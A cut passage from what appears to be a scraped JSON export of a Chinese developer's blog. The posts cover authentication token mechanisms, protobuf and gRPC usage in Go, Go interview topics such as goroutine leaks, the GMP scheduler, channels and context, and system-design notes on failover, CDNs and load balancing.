当授权令牌过期时，客户端可以使用身份验证令牌向服务器请求新的授权令牌。 优点：\n身份验证令牌具有较长的有效期，减少用户频繁登录的需求。 授权令牌具有较短的有效期，降低安全风险。 可以实现更复杂的授权策略。 缺点：\n实现和管理双令牌机制比单一令牌机制更复杂。 需要妥善保护身份验证令牌，因为身份验证令牌的泄露可能导致长期的安全问题。 总结 刷新令牌主要用于在访问令牌过期后获取新的访问令牌，减少用户频繁登录的需求。 缓存令牌通过将令牌存储在缓存系统中，实现快速验证和撤销令牌。 双令牌机制使用两种不同类型的令牌来实现更复杂的身份验证和授权流程。 每种机制都有其适用的场景和优缺点，选择合适的机制需要根据具体的安全需求和业务场景来决定。","title":"Auth微服务开发记录"},{"content":"在项目aorb中能够使用了微服务架构，然后引入了RPC，现在目前开发中，晚点再来完善这篇文章。现在先记录一些主要的概念。\nIDL 接口定义语言 IDL（Interface Definition Language，接口定义语言）是一种用于定义软件组件之间接口的语言。IDL允许开发人员定义程序模块之间的接口，使得不同语言、平台和系统能够通过统一的接口进行通信。IDL的主要作用是定义数据类型和RPC（Remote Procedure Call，远程过程调用）的接口。\nProto接口定义的意义 Proto接口定义是指使用Protocol Buffers（protobuf）来定义数据结构和服务接口。protobuf是由Google开发的一种高效的二进制序列化格式，常用于配置文件、数据存储格式和通信协议。\n跨语言支持：proto文件可以生成多种语言的代码，包括C++、Java、Python等，确保不同语言的系统可以互相通信。 高效传输：protobuf序列化后的数据体积小，解析速度快，适合网络传输。 版本兼容：proto文件可以通过增加新字段来实现向后兼容，不影响旧的客户端和服务器。 RPC（Remote Procedure Call，远程过程调用） RPC是一种通过网络从远程计算机程序上执行子程序的协议，仿佛是在本地执行一样。RPC隐藏了底层的网络通信细节，使得开发者可以像调用本地方法一样调用远程方法。\nIDL和RPC的关系 IDL用于定义RPC接口，指定远程调用所需的参数和返回值类型。通过IDL定义的接口，可以自动生成客户端和服务器的桩代码（stub），这些代码负责处理序列化和反序列化、网络通信等底层细节，使得开发者可以专注于业务逻辑。\nRESTful和gRPC的关系 RESTful和gRPC是两种不同的网络通信风格和框架，它们各自服务于不同的应用场景和需求。下面是它们之间的关系和区别：\nRESTful (Representational State Transfer):\nRESTful是一种基于HTTP协议的设计风格，它利用HTTP的方法（如GET、POST、PUT、DELETE等）来操作资源。 RESTful服务通常使用JSON或XML作为数据交换格式。 RESTful API设计简单，易于理解和使用，适合于跨平台和跨语言的场景。 由于基于HTTP，RESTful服务天然支持浏览器和各种HTTP客户端，易于缓存和负载均衡。 gRPC (Google Remote Procedure Call):\ngRPC是由Google开发的高性能、开源的通用RPC框架。 gRPC使用Protocol Buffers（protobuf）作为接口定义语言（IDL）和数据序列化格式。 gRPC支持多种语言，并提供了跨语言的接口调用能力。 gRPC支持双向流式传输，适合于需要高性能和低延迟的场景，如微服务架构。 gRPC默认使用HTTP/2作为传输协议，支持多路复用和服务端推送等特性。 关系:\nRESTful和gRPC都是用于构建分布式系统和微服务的通信协议，但它们的设计理念和使用场景有所不同。 RESTful更多地依赖于HTTP协议的特性，而gRPC则是一个独立的RPC框架，虽然它也使用了HTTP/2协议，但其核心在于protobuf的序列化和高效的RPC调用。 在实际应用中，选择RESTful还是gRPC取决于具体的需求，如性能要求、开发语言、团队熟悉度、生态系统支持等。 总结: RESTful和gRPC是两种互补的技术，它们各自在不同的领域和场景中发挥作用。开发者可以根据项目的具体需求和约束来选择最合适的通信方式。\n.pb.go和_grpc.pb.go文件 在Go语言中使用Protocol Buffers (protobuf) 时，通常会生成两个主要的Go文件，分别是 auth_grpc.pb.go 和 auth.pb.go。这两个文件的作用如下：\nauth.pb.go:\n这个文件是由protobuf编译器根据.proto文件中的消息定义生成的。它包含了所有在.proto文件中定义的消息（messages）、枚举（enums）和任何其他非RPC相关的数据结构的Go语言实现。 auth.pb.go 文件主要负责序列化和反序列化数据，以及提供对消息结构的访问。例如，如果你在.proto文件中定义了一个名为 Token 的消息，auth.pb.go 将包含一个名为 Token 的Go结构体以及用于操作这个结构体的函数，如 Marshal、Unmarshal、New 等。 auth_grpc.pb.go:\n这个文件是由protobuf编译器根据.proto文件中的服务定义（service definitions）生成的，特别是当.proto文件中包含了gRPC服务定义时。 auth_grpc.pb.go 文件包含了gRPC服务的客户端和服务器端的Go语言实现。它定义了用于远程过程调用（RPC）的接口和方法，包括服务端接口（server interfaces）、客户端存根（client stubs）以及用于处理RPC请求和响应的代码。 例如，如果你在.proto文件中定义了一个名为 AuthService 的gRPC服务，auth_grpc.pb.go 将包含用于实现这个服务的Go接口和方法，如 AuthServiceServer、AuthServiceClient 以及具体的方法实现，如 Login、Logout 等。 总结来说，auth.pb.go 负责处理数据结构和序列化/反序列化，而 auth_grpc.pb.go 负责处理RPC通信和服务的实现。这两个文件共同工作，使得在Go语言中使用protobuf和gRPC变得更加高效和方便。\nauth_grpc.pb.go文件结构 在这个 auth_grpc.pb.go 文件中，各个部分的作用如下：\n包声明和导入:\npackage auth 声明了这个文件属于 auth 包。 import 语句导入了必要的包，如 context、grpc、codes 和 status。 常量定义:\n定义了服务方法的全局唯一方法名，如 AuthService_Login_FullMethodName。 客户端接口定义:\nAuthServiceClient 接口定义了客户端可以调用的所有服务方法，如 Login、Verify 等。 authServiceClient 结构体实现了 AuthServiceClient 接口，提供了实际的客户端调用逻辑。 服务端接口定义:\nAuthServiceServer 接口定义了服务端需要实现的所有服务方法。 UnimplementedAuthServiceServer 结构体提供了未实现方法的默认实现，通常用于确保服务端实现了所有必要的方法。 服务注册:\nRegisterAuthServiceServer 函数用于在 gRPC 服务器上注册 AuthService 服务。 服务方法处理函数:\n如 _AuthService_Login_Handler，这些函数定义了如何处理每个服务方法的请求和响应。 服务描述:\nAuthService_ServiceDesc 描述了 AuthService 服务的元数据，包括服务名、处理函数类型、方法列表等。 你的逻辑应该写在服务端接口的实现中。具体来说，你需要创建一个结构体，该结构体实现了 AuthServiceServer 接口，并在该结构体中为每个服务方法提供具体的业务逻辑实现。例如：\ntype authServiceServer struct { UnimplementedAuthServiceServer // 这里可以添加你的业务逻辑需要的字段 } func (s *authServiceServer) Login(ctx context.Context, req *LoginRequest) (*LoginResponse, error) { // 实现登录逻辑 // ... } func (s *authServiceServer) Verify(ctx context.Context, req *VerifyRequest) (*VerifyResponse, error) { // 实现验证逻辑 // ... } // 实现其他服务方法... func main() { // 创建 gRPC 服务器 server := grpc.NewServer() // 注册你的服务实现 RegisterAuthServiceServer(server, \u0026amp;authServiceServer{}) // 启动服务器 // ... } 在这个例子中，authServiceServer 结构体实现了 AuthServiceServer 接口，并提供了 Login、Verify 等方法的具体实现。在 main 函数中，你创建了一个 gRPC 服务器，并将你的服务实现注册到服务器上。这样，当客户端调用这些服务方法时，服务器就会执行你提供的逻辑。\n","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E9%A1%B9%E7%9B%AE%E5%BD%92%E6%A1%A3/aorb/dev-aorb-protorpc/","summary":"在项目aorb中能够使用了微服务架构，然后引入了RPC，现在目前开发中，晚点再来完善这篇文章。现在先记录一些主要的概念。\nIDL 接口定义语言 IDL（Interface Definition Language，接口定义语言）是一种用于定义软件组件之间接口的语言。IDL允许开发人员定义程序模块之间的接口，使得不同语言、平台和系统能够通过统一的接口进行通信。IDL的主要作用是定义数据类型和RPC（Remote Procedure Call，远程过程调用）的接口。\nProto接口定义的意义 Proto接口定义是指使用Protocol Buffers（protobuf）来定义数据结构和服务接口。protobuf是由Google开发的一种高效的二进制序列化格式，常用于配置文件、数据存储格式和通信协议。\n跨语言支持：proto文件可以生成多种语言的代码，包括C++、Java、Python等，确保不同语言的系统可以互相通信。 高效传输：protobuf序列化后的数据体积小，解析速度快，适合网络传输。 版本兼容：proto文件可以通过增加新字段来实现向后兼容，不影响旧的客户端和服务器。 RPC（Remote Procedure Call，远程过程调用） RPC是一种通过网络从远程计算机程序上执行子程序的协议，仿佛是在本地执行一样。RPC隐藏了底层的网络通信细节，使得开发者可以像调用本地方法一样调用远程方法。\nIDL和RPC的关系 IDL用于定义RPC接口，指定远程调用所需的参数和返回值类型。通过IDL定义的接口，可以自动生成客户端和服务器的桩代码（stub），这些代码负责处理序列化和反序列化、网络通信等底层细节，使得开发者可以专注于业务逻辑。\nRESTful和gRPC的关系 RESTful和gRPC是两种不同的网络通信风格和框架，它们各自服务于不同的应用场景和需求。下面是它们之间的关系和区别：\nRESTful (Representational State Transfer):\nRESTful是一种基于HTTP协议的设计风格，它利用HTTP的方法（如GET、POST、PUT、DELETE等）来操作资源。 RESTful服务通常使用JSON或XML作为数据交换格式。 RESTful API设计简单，易于理解和使用，适合于跨平台和跨语言的场景。 由于基于HTTP，RESTful服务天然支持浏览器和各种HTTP客户端，易于缓存和负载均衡。 gRPC (Google Remote Procedure Call):\ngRPC是由Google开发的高性能、开源的通用RPC框架。 gRPC使用Protocol Buffers（protobuf）作为接口定义语言（IDL）和数据序列化格式。 gRPC支持多种语言，并提供了跨语言的接口调用能力。 gRPC支持双向流式传输，适合于需要高性能和低延迟的场景，如微服务架构。 gRPC默认使用HTTP/2作为传输协议，支持多路复用和服务端推送等特性。 关系:\nRESTful和gRPC都是用于构建分布式系统和微服务的通信协议，但它们的设计理念和使用场景有所不同。 RESTful更多地依赖于HTTP协议的特性，而gRPC则是一个独立的RPC框架，虽然它也使用了HTTP/2协议，但其核心在于protobuf的序列化和高效的RPC调用。 在实际应用中，选择RESTful还是gRPC取决于具体的需求，如性能要求、开发语言、团队熟悉度、生态系统支持等。 总结: RESTful和gRPC是两种互补的技术，它们各自在不同的领域和场景中发挥作用。开发者可以根据项目的具体需求和约束来选择最合适的通信方式。\n.pb.go和_grpc.pb.go文件 在Go语言中使用Protocol Buffers (protobuf) 时，通常会生成两个主要的Go文件，分别是 auth_grpc.pb.go 和 auth.pb.go。这两个文件的作用如下：\nauth.pb.go:\n这个文件是由protobuf编译器根据.proto文件中的消息定义生成的。它包含了所有在.proto文件中定义的消息（messages）、枚举（enums）和任何其他非RPC相关的数据结构的Go语言实现。 auth.pb.go 文件主要负责序列化和反序列化数据，以及提供对消息结构的访问。例如，如果你在.proto文件中定义了一个名为 Token 的消息，auth.pb.go 将包含一个名为 Token 的Go结构体以及用于操作这个结构体的函数，如 Marshal、Unmarshal、New 等。 auth_grpc.pb.go:\n这个文件是由protobuf编译器根据.proto文件中的服务定义（service definitions）生成的，特别是当.proto文件中包含了gRPC服务定义时。 auth_grpc.","title":"Protobuf与gRPC初次使用"},{"content":"Golang goroutine内存泄漏 slice导致\n获取长字符串中的一段，导致字符串未释放；\n获取长slice中的一段导致长slice未释放；\n在长切片中新建sllice导致泄漏\nchannel导致\n发送不接受，接收不发送，nil channel\n从 channel 里读，但是同时没有写入操作 向 无缓冲 channel 里写，但是同时没有读操作 向已满的 有缓冲 channel 里写，但是同时没有读操作 select操作在所有case上都阻塞() goroutine进入死循环，一直结束不了 向 nil channel 发送和接收数据都将会导致阻塞。这种情况可能在我们定义 channel 时忘记初始化的时候发生。 可见，很多都是因为channel使用不当造成阻塞，从而导致goroutine也一直阻塞无法退出导致的。\n传统同步方式sync.mutex，sync.waitgroup导致\n用了mutex加lock之后忘记unlock；\n在一开始设置了具体数目的wg.wait(n)，但是有没有写够足够数量n的wg.Done()，导致wg.Wait()一直等待下去。（正确方式可以使用wg.Add(1)配合wg.Done使用）\nGo调度器的GMP 在Go语言中，GPM通常指的是Goroutine、Processor和Machine，这是Go调度器（scheduler）的核心组成部分。下面是对每个部分的详细介绍：\nGoroutine (G):\nGoroutine是Go语言中的轻量级线程，由Go运行时管理。它们是并发的基本单位，可以被创建和销毁，而无需操作系统级别的线程开销。Goroutine的创建和销毁非常快速，因此可以轻松地创建成千上万个Goroutine。 Goroutine的调度是协作式的，这意味着一个Goroutine在执行时会自愿放弃CPU，让其他Goroutine有机会执行。这种协作式调度使得Go语言能够高效地利用多核处理器。 Processor (P):\nProcessor是Go调度器中的一个抽象概念，代表一个逻辑处理器。每个P都有一个本地运行队列，用于存储待执行的Goroutine。P的数量可以通过环境变量或运行时设置来调整，通常设置为CPU的核心数。 P的主要作用是管理Goroutine的执行。当一个Goroutine被调度到P上时，P会将其分配给一个可用的Machine（M）来执行。 Machine (M):\nMachine代表一个操作系统线程。M与P关联，负责执行Goroutine。一个M可以与多个P关联，但在任何给定时间，一个M只能执行一个P的Goroutine。 M的主要作用是执行Goroutine的代码。当一个Goroutine被调度到M上时，M会执行该Goroutine的代码，直到该Goroutine自愿放弃CPU或被抢占。 Go调度器的工作原理是将Goroutine（G）分配到Processor（P）上，然后由Machine（M）执行。这种设计使得Go语言能够高效地利用多核处理器，并实现高并发。\n在 Go 语言的运行时系统中，Goroutine（简称 G）有多种状态，用于描述它在不同时间点的执行情况。这些状态在 Go 的调度器（GMP 模型）中扮演重要角色。GMP 模型由 Goroutine（G）、工作线程（M）和处理器（P）三部分组成。以下是 G 的主要状态及其转变过程，以及它们与 GMP 模型的关系。\nG 的状态 _Gidle：空闲状态。Goroutine 尚未被使用或已经完成执行，等待被分配新任务。 _Grunnable：可运行状态。Goroutine 已经准备好运行，等待被调度器选中运行。 _Grunning：运行状态。Goroutine 正在运行中。 _Gsyscall：系统调用状态。Goroutine 正在执行系统调用，处于阻塞状态，不会被调度器调度。 _Gwaiting：等待状态。Goroutine 在等待某个条件（例如通道操作、定时器、网络 I/O 等）完成。 _Gdead：死亡状态。Goroutine 已经完成执行，无法再被重新使用。 _Gcopystack：堆栈复制状态。Goroutine 的堆栈正在被复制，以调整其大小。 状态转变及其与 GMP 的关系 创建 Goroutine _Gidle -\u0026gt; _Grunnable 创建一个新的 Goroutine，并将其状态设置为 _Grunnable，表示该 Goroutine 准备好运行。 由 P 将新的 Goroutine 添加到其本地运行队列或全局运行队列中。 g := newGoroutine() g.status = _Grunnable p.runqput(g) 调度和运行 Goroutine _Grunnable -\u0026gt; _Grunning P 从本地运行队列或全局运行队列中取出一个 Goroutine，将其状态设置为 _Grunning，并将其分配给一个 M 来执行。 g := p.runqget() g.status = _Grunning m.execute(g) 系统调用 _Grunning -\u0026gt; _Gsyscall Goroutine 在运行过程中进行系统调用，状态转变为 _Gsyscall。 由于系统调用可能会阻塞，M 会寻找其他可运行的 Goroutine 来执行。 g.status = _Gsyscall m.scheduleNextGoroutine() _Gsyscall -\u0026gt; _Grunnable 系统调用完成后，Goroutine 状态从 _Gsyscall 转变为 _Grunnable，等待再次被调度运行。 g.status = _Grunnable p.runqput(g) 等待和唤醒 _Grunning -\u0026gt; _Gwaiting Goroutine 在运行过程中等待某个条件完成，例如通道操作，状态转变为 _Gwaiting。 g.status = _Gwaiting m.scheduleNextGoroutine() _Gwaiting -\u0026gt; _Grunnable 等待的条件满足后，Goroutine 状态从 _Gwaiting 转变为 _Grunnable，等待被再次调度运行。 g.status = _Grunnable p.runqput(g) 结束执行 _Grunning -\u0026gt; _Gdead Goroutine 执行完毕，状态转变为 _Gdead，等待被回收。 g.status = _Gdead GMP 模型与状态转变的关系 G（Goroutine）：G 是 Go 语言中的轻量级线程。G 的状态在其生命周期中不断变化，GMP 模型通过调度 G 来实现高效并发。 M（Machine）：M 是实际的操作系统线程，负责执行 G。M 可以在不同的 P 上运行不同的 G。 P（Processor）：P 是调度器的抽象，管理本地运行队列中的 G，并调度 M 来执行 G。每个 P 持有一个本地的 Goroutine 队列。 总结\nG 的状态转变和 GMP 模型的关系密不可分。Goroutine 从创建到运行、等待、系统调用和结束，状态不断变化，而这些状态变化由 P 管理的运行队列和 M 执行 G 来实现。GMP 模型确保了 Go 语言的高效并发能力，通过合理的状态管理和调度，充分利用系统资源，优化 Goroutine 的执行。\n一个goroutine阻塞，会不会影响其他的goroutine？ 一个 Goroutine 阻塞不会影响其他的 Goroutine。Go 的运行时调度器会自动将阻塞的 Goroutine 挂起，并调度其他可运行的 Goroutine 执行。因此，多个 Goroutine 可以并发执行，即使其中一些 Goroutine 阻塞了，也不会影响其他 Goroutine 的执行。\nChannel是怎么实现的？ Go语言中的通道（channel）是实现并发编程的核心机制之一。通道提供了一种在多个goroutine之间安全地传递数据的方式。通道的实现是Go运行时系统的一部分，它基于一种称为“goroutine-safe”的队列数据结构，并结合了锁和条件变量来确保并发安全性。\n以下是Go通道实现的一些关键点：\n数据结构：\nhchan 结构体：这是Go运行时系统中用于表示通道的核心数据结构。它包含了通道的各种属性，如缓冲区、发送队列、接收队列、锁、类型信息等。 sudog 结构体：用于表示等待在通道上的goroutine。每个等待的goroutine都会被包装成一个sudog对象，并放入发送队列或接收队列中。 缓冲区：\n通道可以是缓冲的或非缓冲的。缓冲通道有一个固定大小的缓冲区，用于存储发送的数据，直到它们被接收。非缓冲通道没有缓冲区，发送和接收操作是同步的。 锁：\n通道使用互斥锁（mutex）来保护其内部数据结构，确保在任何时候只有一个goroutine可以访问通道的状态。 条件变量：\n通道使用条件变量来实现goroutine的阻塞和唤醒。当goroutine尝试向满的缓冲通道发送数据或从空的缓冲通道接收数据时，它们会被阻塞，并放入相应的发送队列或接收队列中。 发送和接收操作：\n发送操作（ch \u0026lt;- value）：如果通道有空间（对于非缓冲通道，意味着有等待的接收者；对于缓冲通道，意味着缓冲区未满），则数据被复制到通道的缓冲区或直接传递给接收者。否则，发送goroutine会被阻塞，直到通道有空间。 接收操作（value := \u0026lt;-ch）：如果通道有数据（对于非缓冲通道，意味着有等待的发送者；对于缓冲通道，意味着缓冲区非空），则数据被复制到接收者的变量中。否则，接收goroutine会被阻塞，直到通道有数据。 关闭操作：\n关闭操作（close(ch)）：关闭通道会释放所有等待的goroutine，并通知它们通道已关闭。关闭一个已经关闭的通道或一个nil通道都会导致panic。 垃圾回收：\n通道的内存管理与Go的垃圾回收机制集成。当通道不再被引用时，它会被垃圾回收器回收。 Go通道的实现确保了goroutine之间的同步和通信是高效且安全的。通过使用通道，开发者可以避免显式地处理锁和其他并发控制机制，从而简化了并发编程。\nContext 在Go语言中，context（上下文）是一个标准库包，它提供了一种在goroutine之间传递请求范围的值、取消信号和截止时间的机制。context包的核心是Context接口，它定义了四个方法：\nDeadline：返回Context被取消的时间，也就是完成工作的截止时间。 Done：返回一个\u0026lt;-chan struct{}，当Context被取消或者超时时，该通道会被关闭，从而发出信号。 Err：返回Context被取消的原因。 Value：返回与Context关联的键值对数据。 context包的主要用途包括：\n取消操作：当一个请求被取消或超时时，可以使用context来通知所有处理该请求的goroutine停止工作，从而避免不必要的资源消耗。\n传递请求范围的值：在处理请求的过程中，可能需要在多个goroutine之间共享一些数据，如认证令牌、请求ID等。context提供了一种方便的方式来传递这些数据。\n截止时间管理：在处理请求时，可能需要设置一个截止时间，超过这个时间后，无论工作是否完成，都应该停止工作。context可以用来设置和管理这些截止时间。\n使用context的基本模式是：\n在处理请求的顶级goroutine中创建一个Context对象，通常是通过调用context.Background()或context.TODO()来获取一个空的Context，然后使用context.WithCancel、context.WithDeadline、context.WithTimeout或context.WithValue来创建一个具体的Context。 将这个Context传递给处理请求的所有goroutine。 在goroutine中，通过检查Context的Done通道来判断是否应该停止工作。 使用Context的Value方法来获取请求范围的值。 例如，以下是一个使用context来取消操作的简单示例：\npackage main import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) func main() { // 创建一个可以取消的Context ctx, cancel := context.WithCancel(context.Background()) // 启动一个goroutine来执行任务 go func() { printLine(\u0026#34;Working...\u0026#34;) time.Sleep(2 * time.Second) // 模拟工作 printLine(\u0026#34;Work done.\u0026#34;) }() // 等待一段时间后取消任务 time.Sleep(1 * time.Second) cancel() // 等待goroutine结束 time.Sleep(2 * time.Second) printLine(\u0026#34;Main function done.\u0026#34;) } func printLine(s string) { fmt.Println(s, time.Now().Format(time.RFC3339)) } 在这个例子中，context.WithCancel创建了一个可以取消的Context，cancel函数用于发出取消信号。当cancel被调用时，所有监听ctx.Done()通道的goroutine都会收到信号，从而知道应该停止工作。\nGo的内存分布 Go 的内存分布主要包括以下几个区域：\n栈内存（Stack Memory）：\n每个 Goroutine 都有一个独立的栈内存，初始大小很小（如 2KB），但可以动态增长。 栈内存用于存储局部变量、函数参数和返回值等。 堆内存（Heap Memory）：\n动态分配的内存块（通过 new 和 make 分配）存储在堆上。 堆内存由 Go 的垃圾回收器管理。 全局/静态内存（Global/Static Memory）：\n用于存储全局变量和静态变量。 在程序的整个生命周期内都存在。 文本段（Text Segment）：\n存储程序的代码，即可执行指令。 数据段（Data Segment）：\n存储已初始化的全局变量和静态变量。 Go的GC（垃圾回收） Go 的垃圾回收器是一个非分代、并发标记清除垃圾回收器。其工作过程如下：\n标记阶段（Marking Phase）：\n垃圾回收器遍历所有的可达对象并标记它们。 可达对象是指从根对象（全局变量、栈变量、寄存器等）开始，沿着引用链可以访问到的对象。 清除阶段（Sweeping Phase）：\n标记阶段结束后，垃圾回收器会清除未标记的对象，并将这些对象的内存归还给堆。 Go 的垃圾回收器是并发的，这意味着它可以与应用程序的 Goroutine 同时运行，以减少垃圾回收带来的停顿时间（STW，Stop-The-World）。\nsync.Map是如何实现并发安全的？ sync.Map 是 Go 提供的一个并发安全的 map 实现，主要通过以下方式实现并发安全：\n读写分离：\n使用两个不同的数据结构（read 和 dirty）来存储数据，read 用于大多数读取操作，dirty 用于写入操作。 读取操作不会锁住整个 map，而是直接访问 read 数据结构。 原子操作：\n对于读取操作，使用原子操作来确保并发安全。 当写入操作需要修改 dirty map 时，会使用互斥锁（sync.Mutex）来确保安全。 惰性初始化：\n如果 dirty map 的某个键被访问多次，就会将它提升到 read map，以减少锁竞争。 鸭子类型 不要求显式的定义对象的类型，只要这个对象实现了接口中的方法，就可以视作同一类型。\npackage main import \u0026#34;fmt\u0026#34; // 定义一个接口 type Quacker interface { Quack() } // 定义一个Duck结构体 type Duck struct{} func (d Duck) Quack() { fmt.Println(\u0026#34;Quack!\u0026#34;) } // 定义一个Person结构体 type Person struct{} func (p Person) Quack() { fmt.Println(\u0026#34;I\u0026#39;m not a duck, but I can quack!\u0026#34;) } func makeItQuack(q Quacker) { q.Quack() } func main() { var d Duck var p Person makeItQuack(d) // 输出：Quack! makeItQuack(p) // 输出：I\u0026#39;m not a duck, but I can quack! } 在上述代码中，Duck 和 Person 都实现了 Quacker 接口中的 Quack 方法，因此它们都可以作为 Quacker 类型的参数传递给 makeItQuack 函数。\n","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E6%B1%82%E8%81%8C%E5%BD%92%E6%A1%A3/go8/","summary":"Golang goroutine内存泄漏 slice导致\n获取长字符串中的一段，导致字符串未释放；\n获取长slice中的一段导致长slice未释放；\n在长切片中新建sllice导致泄漏\nchannel导致\n发送不接受，接收不发送，nil channel\n从 channel 里读，但是同时没有写入操作 向 无缓冲 channel 里写，但是同时没有读操作 向已满的 有缓冲 channel 里写，但是同时没有读操作 select操作在所有case上都阻塞() goroutine进入死循环，一直结束不了 向 nil channel 发送和接收数据都将会导致阻塞。这种情况可能在我们定义 channel 时忘记初始化的时候发生。 可见，很多都是因为channel使用不当造成阻塞，从而导致goroutine也一直阻塞无法退出导致的。\n传统同步方式sync.mutex，sync.waitgroup导致\n用了mutex加lock之后忘记unlock；\n在一开始设置了具体数目的wg.wait(n)，但是有没有写够足够数量n的wg.Done()，导致wg.Wait()一直等待下去。（正确方式可以使用wg.Add(1)配合wg.Done使用）\nGo调度器的GMP 在Go语言中，GPM通常指的是Goroutine、Processor和Machine，这是Go调度器（scheduler）的核心组成部分。下面是对每个部分的详细介绍：\nGoroutine (G):\nGoroutine是Go语言中的轻量级线程，由Go运行时管理。它们是并发的基本单位，可以被创建和销毁，而无需操作系统级别的线程开销。Goroutine的创建和销毁非常快速，因此可以轻松地创建成千上万个Goroutine。 Goroutine的调度是协作式的，这意味着一个Goroutine在执行时会自愿放弃CPU，让其他Goroutine有机会执行。这种协作式调度使得Go语言能够高效地利用多核处理器。 Processor (P):\nProcessor是Go调度器中的一个抽象概念，代表一个逻辑处理器。每个P都有一个本地运行队列，用于存储待执行的Goroutine。P的数量可以通过环境变量或运行时设置来调整，通常设置为CPU的核心数。 P的主要作用是管理Goroutine的执行。当一个Goroutine被调度到P上时，P会将其分配给一个可用的Machine（M）来执行。 Machine (M):\nMachine代表一个操作系统线程。M与P关联，负责执行Goroutine。一个M可以与多个P关联，但在任何给定时间，一个M只能执行一个P的Goroutine。 M的主要作用是执行Goroutine的代码。当一个Goroutine被调度到M上时，M会执行该Goroutine的代码，直到该Goroutine自愿放弃CPU或被抢占。 Go调度器的工作原理是将Goroutine（G）分配到Processor（P）上，然后由Machine（M）执行。这种设计使得Go语言能够高效地利用多核处理器，并实现高并发。\n在 Go 语言的运行时系统中，Goroutine（简称 G）有多种状态，用于描述它在不同时间点的执行情况。这些状态在 Go 的调度器（GMP 模型）中扮演重要角色。GMP 模型由 Goroutine（G）、工作线程（M）和处理器（P）三部分组成。以下是 G 的主要状态及其转变过程，以及它们与 GMP 模型的关系。\nG 的状态 _Gidle：空闲状态。Goroutine 尚未被使用或已经完成执行，等待被分配新任务。 _Grunnable：可运行状态。Goroutine 已经准备好运行，等待被调度器选中运行。 _Grunning：运行状态。Goroutine 正在运行中。 _Gsyscall：系统调用状态。Goroutine 正在执行系统调用，处于阻塞状态，不会被调度器调度。 _Gwaiting：等待状态。Goroutine 在等待某个条件（例如通道操作、定时器、网络 I/O 等）完成。 _Gdead：死亡状态。Goroutine 已经完成执行，无法再被重新使用。 _Gcopystack：堆栈复制状态。Goroutine 的堆栈正在被复制，以调整其大小。 状态转变及其与 GMP 的关系 创建 Goroutine _Gidle -\u0026gt; _Grunnable 创建一个新的 Goroutine，并将其状态设置为 _Grunnable，表示该 Goroutine 准备好运行。 由 P 将新的 Goroutine 添加到其本地运行队列或全局运行队列中。 g := newGoroutine() g.","title":"golang八股文"},{"content":"system-design-prime 可用性模式 有两种支持高可用性的模式: 故障切换（fail-over）和复制（replication）。\n故障切换 工作到备用切换（Active-passive） 关于工作到备用的故障切换流程是，工作服务器发送周期信号给待机中的备用服务器。如果周期信号中断，备用服务器切换成工作服务器的 IP 地址并恢复服务。\n宕机时间取决于备用服务器处于“热”待机状态还是需要从“冷”待机状态进行启动。只有工作服务器处理流量。\n工作到备用的故障切换也被称为主从切换。\n双工作切换（Active-active） 在双工作切换中，双方都在管控流量，在它们之间分散负载。\n如果是外网服务器，DNS 将需要对两方都了解。如果是内网服务器，应用程序逻辑将需要对两方都了解。\n双工作切换也可以称为主主切换。\n缺陷：故障切换 故障切换需要添加额外硬件并增加复杂性。 如果新写入数据在能被复制到备用系统之前，工作系统出现了故障，则有可能会丢失数据。 复制 主─从复制和主─主复制 这个主题进一步探讨了数据库部分:\n主─从复制 主─主复制 CDN 内容分发网络 内容分发网络 CDN（英语：Content Delivery Network或Content Distribution Network）是一个全球性的代理服务器分布式网络，它从靠近用户的位置提供内容。通常，HTML/CSS/JS，图片和视频等静态内容由 CDN 提供，虽然亚马逊 CloudFront 等也支持动态内容。CDN 的 DNS 解析会告知客户端连接哪台服务器。\nCDN 的分类 Pull CDN 当用户第一次访问CDN的时候，CDN上是没有资源的，这时候CDN会去向服务器拉取资源。之后的访问就直接在CDN服务器中返回就可以。\npush CDN 服务器可以在用户访问资源之前，把资源push给CDN服务器。\n如何选择哪种CDN？ 关于使用哪种 CDN 类型的决定在很大程度上取决于流量和下载量。从长远来看，托管视频和播客（又名大量下载）的旅游博客会发现推送 CDN 更便宜、更高效，因为在您主动将其推送到 CDN 之前，CDN 不会重新下载内容。拉式 CDN 可以通过在 CDN 服务器上保留最受欢迎的内容来帮助高流量小下载的网站。内容的后续更新（或“拉取”）频率不足以使成本超过推送 CDN 的成本。\nLoadBlancer 负载均衡器 负载均衡器将传入的请求分发到应用服务器和数据库等计算资源。无论哪种情况，负载均衡器将从计算资源来的响应返回给恰当的客户端。负载均衡器的效用在于:\n防止请求进入不好的服务器 防止资源过载 帮助消除单一的故障点 通常会设置采用工作─备用 或 双工作 模式的多个负载均衡器，以免发生故障。\n负载均衡方式 随机 最少负载 Session/cookie [轮询调度或加权轮询调度算法](#轮询调度（Round Robin Scheduling）) 四层负载均衡 七层负载均衡 轮询调度（Round Robin Scheduling） 轮询调度是一种简单的负载均衡算法，它按照固定的顺序将请求依次分配给每个服务器。具体步骤如下：\n服务器列表被初始化，并按某种顺序排列。 当一个请求到达时，负载均衡器将该请求分配给列表中的下一个服务器。 服务器列表顺序循环，即当最后一个服务器处理完请求后，下一个请求将再次分配给第一个服务器。 轮询调度的优点是实现简单，且能够均匀地分配负载。然而，它没有考虑服务器的实际负载或性能差异，可能导致某些服务器过载，而其他服务器则处于空闲状态。\n加权轮询调度（Weighted Round Robin Scheduling） 加权轮询调度是对轮询调度的一种改进，它允许为每个服务器分配一个权重值，以反映其处理能力或性能。权重值高的服务器将处理更多的请求。具体步骤如下：\n每个服务器被分配一个权重值，表示其相对处理能力。 负载均衡器维护一个服务器列表，并根据权重值调整每个服务器的请求分配频率。 当一个请求到达时，负载均衡器根据权重值将请求分配给相应的服务器。 加权轮询调度的优点是能够更好地适应服务器性能的差异，提高整体系统的效率。然而，它需要预先知道或估计每个服务器的处理能力，并且在服务器性能动态变化时可能需要重新调整权重。\n四层负载均衡 四层负载均衡根据监看传输层的信息来决定如何分发请求。通常，这会涉及来源，目标 IP 地址和请求头中的端口，但不包括数据包（报文）内容。四层负载均衡执行网络地址转换（NAT）来向上游服务器转发网络数据包。\n七层负载均衡器 七层负载均衡器根据监控应用层来决定怎样分发请求。这会涉及请求头的内容，消息和 